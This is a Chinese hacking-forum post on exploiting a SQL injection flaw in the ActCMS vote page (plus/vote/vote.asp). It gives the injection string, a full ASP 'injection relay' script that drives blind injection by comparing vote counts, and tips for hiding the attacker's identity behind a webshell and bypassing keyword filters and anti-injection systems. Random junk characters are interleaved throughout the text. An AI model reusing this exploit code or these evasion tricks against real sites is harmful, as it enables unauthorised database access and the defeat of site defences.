; A1 s# j9 d" ]5 |) r& F" J看到ninty大牛的blog的一篇文章
; E7 C& v* l; b; z链接标记[url]http://www.forjj.com/?action=show&id=80[/url]0 x1 f$ s# O' |. Q1 B2 M$ d" N3 c) _
关于actcms漏洞的利用 by 3x qq:381862589! j* C3 d7 F$ X4 r
转载请注明以上
' w& G7 `: @) h9 L# ~3 J" j) r, }9 c漏洞文件:
- O2 b g$ Z/ Y# j/plus/vote/vote.asp( O" n. `/ s' E5 x P$ Y( C
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then : j3 x4 N2 J6 o; P- i4 E' d
8 ^6 c. t5 W% D$ `: B2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
: B7 }5 `" S' B9 J0 F; y0 m5 D. X3 @
3 response.end 4 O# }; w# r: f( [
* L2 q. q: e: M1 S1 {4 end if
% {- t/ T3 X# u# _5 A6 D7 B, g, Y& a/ v4 C3 [5 Q
5 for i=1 to request("voted").count ) U& @6 K" @0 l% \! S1 n: P, L
4 a' Y4 R* y' [6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
* \: v, P4 z4 x* B8 Z
" s% `+ [- d4 N7 next
: n7 u# ~- _% P2 }6 D
2 l H. a1 I7 j: e j6 U- C* x8.... $ D5 {. K/ h$ @* ^/ h% O
% w/ ?+ n7 v$ ?: w: U i! F, `
9response.Redirect "index.asp?id="&id&""
/ c: @+ A) u: K: X+ W投票结束回跳转回index.asp这个投票结果页面9 n+ a. `3 H' l' F0 E# M% U
如果投票成功票数加1
, `: ] w" Q$ T% c% w0 | 失败票数不变: \" C, H* Z ~* @3 E) \; X
如图:
) Z8 T2 L h* B6 m" Uhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 _7 Q9 x' q- Q R6 \6 r8 \+ \7 P, D
2009-12-27 13:20/ t9 S0 A9 h/ F4 q5 s6 R
4 v# c H. Y3 i
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了9 U5 k7 s" ]+ Y- @
1 F- F7 ~/ d3 V# X本帖隐藏的内容需要回复才可以浏览3 w a& ]+ r1 y1 l
我们用注入中转来实现这个注入具体代码如下:
* B1 Y4 M3 ~; l1 T# M' F先用寂寞的刺猬大牛的注入中转生成jmget.asp+ F) S3 _$ G3 y5 X2 J/ b
注入地址:http://localhost/actcms/plus/vote/vote.asp/ M9 U8 N0 S; ]3 A
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项* V% R( E3 p7 e5 V9 W1 ^2 G E
" T/ F* C: K6 r. p$ t1 w/ q! R
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
8 X, g8 a6 Y: V: x1 y" Z7 n. g
* p' Q0 a6 r! `# I1 e02JmdcwName=request("jmdcw") I. w' }) D5 [
( S$ G/ }8 W) W @- b- W' s03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% W1 |; ~- B0 x9 C( f3 P3 l% e- o( d& v
04JmStr="id=1&voted=-1 or 1="&JmdcwName
) ]# u* H" e) u4 c/ |, h) T5 L' M2 P+ {
05JmStr=URLEncoding(JmStr)
2 R- k' b/ C% C! M" {7 {2 G9 D. y& R( o9 O* m
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"1 u% N. F u. ?
. h7 l+ S! |" b! R7 E' N
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) \3 b( r% ^2 {6 g3 y& N$ M% U7 M+ L. U0 ]
08testurl=testurl & "?" & JmStr
4 d0 Y2 G: ]& z, N6 q1 l
: |8 i& W% P2 P) F$ c7 V* M1 s" k$ R09JMUrl=JMUrl & "?" & JmStr , u* o8 ^' p5 Z
% s; j9 W& n* z2 W" D$ U4 N0 Q4 n10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"( A( I i& R0 D
/ r9 s9 }# \) q% O
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"' X9 @0 A& s9 t+ n# ^/ A3 X
8 O6 q3 {6 p7 w1 C2 M5 |0 ^# e9 u12JmCok=replace(JmCok,chr(32),"%20")
+ j, c: S5 M* w; U
- h+ v0 K( \& N5 a13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
* @- u; \6 y2 t# w/ O) }1 O. y" ~$ N/ k. D0 j( _. R
14 ( z( |1 g, x; d4 s9 M8 p" k
. \; \. m( ]0 Z2 z
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 & d7 P: D0 ]- Z0 j4 G
N" B" r9 ~8 D. s
16 # j0 O( [& e8 c! x( ^% y! S2 S/ @1 M
( H; b# R+ j8 x3 A" D
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
8 P0 t' m1 j5 l- D4 L) o' f# f: C* k" E4 `$ l5 f, ]
18response.write test1&""&test2&""
5 N& y( I9 T; k) j7 E7 ?3 C5 N+ G& ^; ]9 ]; w k9 V
19
+ o% X, K5 ~+ k [, x0 t5 M+ F9 ~2 G$ N
20if test1=test2 then '如前后记录相等,表示失败
7 }: b) p0 h |$ t% t& _5 Q. P$ {) u5 C ~3 ~* b) R+ i8 [! S
21 response.write "failed"/ N4 C5 T* |$ l- g. \
; i8 g# ^' j2 o- Z! |8 I1 }
22else
# M l- I4 I" {. D n, H r% Y+ E6 o4 d& s8 ]
23 response.write "succeed"; \' B* {" w" Y; Q
" D$ A1 Z0 W3 a% z- W/ a! Q24end if
) K! T6 s, J+ h1 M6 f. b! i
8 w4 H8 P0 \. }. B) C* n25 4 W1 Z! B% G* ]$ T( m( t
7 v! k! ]& j/ i i- E0 O26response.write "by 3x"
+ `9 N1 f5 z; S/ T6 V H0 l5 t1 q$ p: z* @! {
27
3 |. S$ a, |2 N( Z. r, l+ L
, G9 V" ~/ \( ~, y3 S28 ; F' Z8 X' W* f. k5 V n
' p9 G+ ?# s/ d( f
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 0 Y8 N4 Y$ v% O; }* P
* U2 a" b9 e4 Z$ L' i1 b/ q# u& `/ ~
30Dim Http & l4 S5 G4 j0 d4 m
, W3 |- l* Q% F. m% C) s31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") " X, h) q3 M2 ?
/ w. N& ~, I* d32With Http / o1 X+ a- r1 M* G. }) t& E! {% P0 e
1 |( T5 [7 }! W/ I
33 . H/ J5 u m! o+ v, ~# r9 t
/ e3 |7 y$ `$ p" F# V% x34.Open "GET",PostUrl,False
4 L! h: {# D* N' x" Y7 g
( {8 ^0 ]1 `3 m$ t35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& p! n' s* e1 T L( J3 A+ D8 L
N( Z0 s# }, W: r3 a
36.SetRequestHeader "Referer",PostRef
3 `# e( ]7 O/ L6 ], j% A) T! B
( B5 a8 H3 E" F3 Q9 y1 |37.SetRequestHeader "Cookie",PostCok
o( d8 Z2 o' H5 Y
2 c, |" o3 J" J' k38.Send () ) e5 I% p X( t; i/ |
; D* A& t4 N3 F39PostData = .ResponseBody
+ S% C4 `! m \* R- D
# e0 l2 L `7 k40End With! \* {7 d$ e. Q* B" z0 o- e1 t
) j8 \3 v" }8 g# h' [7 x) r4 ^41Set Http = Nothing* D% ]% ]8 ~, r- R# p: G
" V/ A2 L: e4 L0 E
42PostData =bytes2BSTR(PostData)
( w3 n. ~: m3 i' ?) R! M7 y9 ^9 _# O. d2 e9 @" f+ y9 Y/ J# A
43End Function0 ?% t7 b( x+ O/ [7 o
- Y. q$ _; S; Y- p/ l
44 ! @- C4 {( E/ y, X' C
$ L3 |- ? v2 `: l+ S4 u45
2 P& d1 L3 z* D0 C$ J
, D$ a3 q- O7 W, Q, r46Function bytes2BSTR(vIn) # b4 u3 [+ q( r$ A# j1 F) ?
$ i* x" c: D) c2 ]: C! c4 O
47Dim strReturn 1 p9 |1 y1 Q' q7 \5 n+ l9 P) I2 I
6 f2 P8 K& l4 _% [48Dim I, ThisCharCode, NextCharCode & Y, P, t: C5 Q+ [
) B& e# B. @6 j( n" ~
49strReturn = ""
" B0 m3 `! I. j3 c
; R% i& m# l3 F2 K+ Q50For I = 1 To LenB(vIn) + p; E( J6 R6 `) x0 I, t* a2 R% y
- N. S! a3 M; s) i5 M7 z1 t% ? w51ThisCharCode = AscB(MidB(vIn, I, 1)) 3 h. Z8 V0 a2 Y* ^
5 s4 x0 `+ m* u; b52If ThisCharCode < &H80 Then( E/ ^! [, l5 |2 x( p6 i: ?
9 H9 [6 V. v- x1 [
53strReturn = strReturn & Chr(ThisCharCode)
& `1 k- \- y a0 X7 {7 O* h3 L' n1 C7 R! m' d
54Else
- |- p Z9 p: ^- P {: z* L# v# p. b# _, J) J( l
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
! z! x! O% p( J$ t" r" ~% @. k) o2 D+ \( m2 k: f8 A0 _
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
7 E a; Y' ?5 Q M* G) c; @( f& K1 f0 ]: l+ m# \, t: m
57I = I + 1 . o0 j+ x& |* k! M: X Y
7 r/ Y/ z% }- l9 Z58End If
' V6 h7 |( |. u& J; f7 v w, f" Y- g4 R1 e
59Next1 B9 T) c0 K: i/ y! G
" }8 D7 g5 @6 S3 P
60bytes2BSTR = strReturn
' J/ b4 c. t3 I. u% k# m. u. F( ^+ I, s
61End Function' t9 A& P# ~: |' [9 q. M
) C o, \8 n7 V+ x
62 5 l# K. }" k4 z) l4 d+ Y
* ]7 y; k1 G! Q6 t. K
63Function URLEncoding(vstrin) 8 t& L: `* Z7 X( I" R6 C2 z! n, A4 ~
6 s5 H- @3 V4 F3 P6 }2 V6 c l1 `
64strReturn=""6 t7 A( N3 O. Z- p
8 F+ L# T" n+ s! b) R. |+ M65Dim i
6 z) u" B) o- |( t# j S
" p: f3 y9 P; P+ I$ U a, Z66For i=1 To Len(vstrin) ' {9 b5 x5 y8 p( u) g4 ]( ]: w
; c- G( ?5 j7 ^; E- k* o4 e67ThisChr=Mid(vstrin,i,1) : S0 t+ X% x8 ] h
2 e- O* g7 S2 o4 m0 j. o68if Abs(Asc(ThisChr))< &HFF Then
0 ?/ l1 X9 |0 R1 o
2 u) o' o- }1 q5 o. |% ^69strReturn=strReturn & ThisChr
2 F% o5 z0 h5 G5 Y$ P; W( r3 Q$ }( w" @9 m
70Else
4 R1 y `5 G3 o2 _6 M; ^ g0 S( G# p. d4 w$ }4 w
71InnerCode=Asc(ThisChr) : q3 h/ W$ _3 [; V% [% L
& K o% x$ s9 [4 j; h0 E! h72If InnerCode<0 Then
W0 F1 E4 r3 C9 H7 E
1 Y- S3 O* O0 r/ s# X73InnerCode=InnerCode + &H10000 4 J6 [, R( m r- P2 n
. g# M6 b: U+ _) V
74End If1 S3 a6 X: n8 ^4 q0 F
8 u9 _- _: Q$ N& |
75Hight1=(InnerCode And &HFF00) \&HFF / Z# l8 ]" q' K; y
$ O- ?; R8 ^3 O) q: Y9 D76Low1=InnerCode And &HFF * W: e& l: s' V# z" d
3 I; f) ?% m. |: V/ F% |77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) " _% J A6 D# ?( n% n3 }. v4 E7 l
9 `' @: t \' g' |
78End if 6 v4 {9 f. U) a3 [8 ^
1 p% o, S+ n: z8 l/ N% s% w! C79Next
( T1 n: i) O' N) y& y5 b7 W' u
) _( @! i7 {1 r' [6 n5 V1 {80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% x* I- j: @! J1 ]1 j* n4 z; ?' ^4 g/ z3 g
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 [- O7 r7 Q% b' m v. y
+ n% C$ v s9 L82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 , i3 c0 \; P& v$ h* ^+ m
* K: P' ^/ ?) I, X! W! Y
83URLEncoding=strReturn
( V/ A8 j# @5 _. N' X/ I/ [7 A! A$ Y* \4 m! n5 J* D# c
84End Function
+ E% |( U! n# r' M# {- v* Z
* ] X( c0 c( G+ `85 9 {1 w" t9 P Z e y5 O- O2 o# d
6 w2 i( o: Z2 c* O+ J* m6 A7 ^$ j
86function getSt(body)
+ P$ _/ g; c2 L0 t w% w
6 Z. f4 D# i0 F2 {( u) L87 startpot=instr(body,"投票人数:")+len("投票人数:")
5 w, [: c5 N/ I6 R6 U
3 n8 D; s% A$ k6 B: X9 O1 z0 {) ?88 endpot=instr(startpot,body," ") ) r6 _/ n+ h; k# m- e8 r: P4 u$ m
5 i5 D- T& q& U3 @. o& r/ F' k89 getSt=mid(body,startpot,endpot-startpot)
6 g* Y: Y" Z% Y. ?2 J4 J* `6 `/ j8 ^) {* Z9 w: |
90end function 3 i" A( z0 f8 L6 m+ l7 |
$ @: B# `9 }$ d; `; x91%>
a* R5 R" m: F1 P+ y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了6 p" ]) n. c7 F; `2 l: t8 r* E
测试下效果:4 @6 p8 q3 t2 h
投票成功:9 [ O2 N& {! m' g
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
7 e/ n) J6 }9 ?, d0 c* K7 R# g0 a( X0 V! T) C, d
2009-12-27 13:29: n0 I& x" |4 F2 ^7 r [. L* S
投票失败
$ q! K1 L c- D5 s5 J0 Whttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)$ E, {6 _+ m& b) c& L6 F
- d; \, d5 h# D% v1 K' O( W4 S2009-12-27 13:29
2 x& k" ], \$ I# [0 a-------------------------------------------------------------------------------( A. t$ P) Q8 D2 p
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以5 i0 A5 p( ?! o4 w- p
很抱歉。。。只能用单线程工具去注入。。。。。0 B+ f3 R2 G3 X; _+ r
所以失败。。。不好意思。。。
( O2 S1 y, c8 {* S! z) l-------------------------------------------------------------------------------4 O" E3 a, u8 _" T+ B
( |8 P, W2 z' ]* {+ P注入中转的一些其他应用
. J9 B7 F5 x! H2 U其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了0 O6 P6 s5 Z5 z+ C( x. N8 R2 }
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id- G d' V6 ~+ Y9 [ c: x/ @# ]
2.post注入转成get型的注入,方便我们使用工具来跑
5 T* l2 N6 ]$ @, k7 Y3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"), [9 n- `! p! y; l7 O
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
/ C3 a G# U M' K4 J- B6 g' c! X5 }1 }& a
|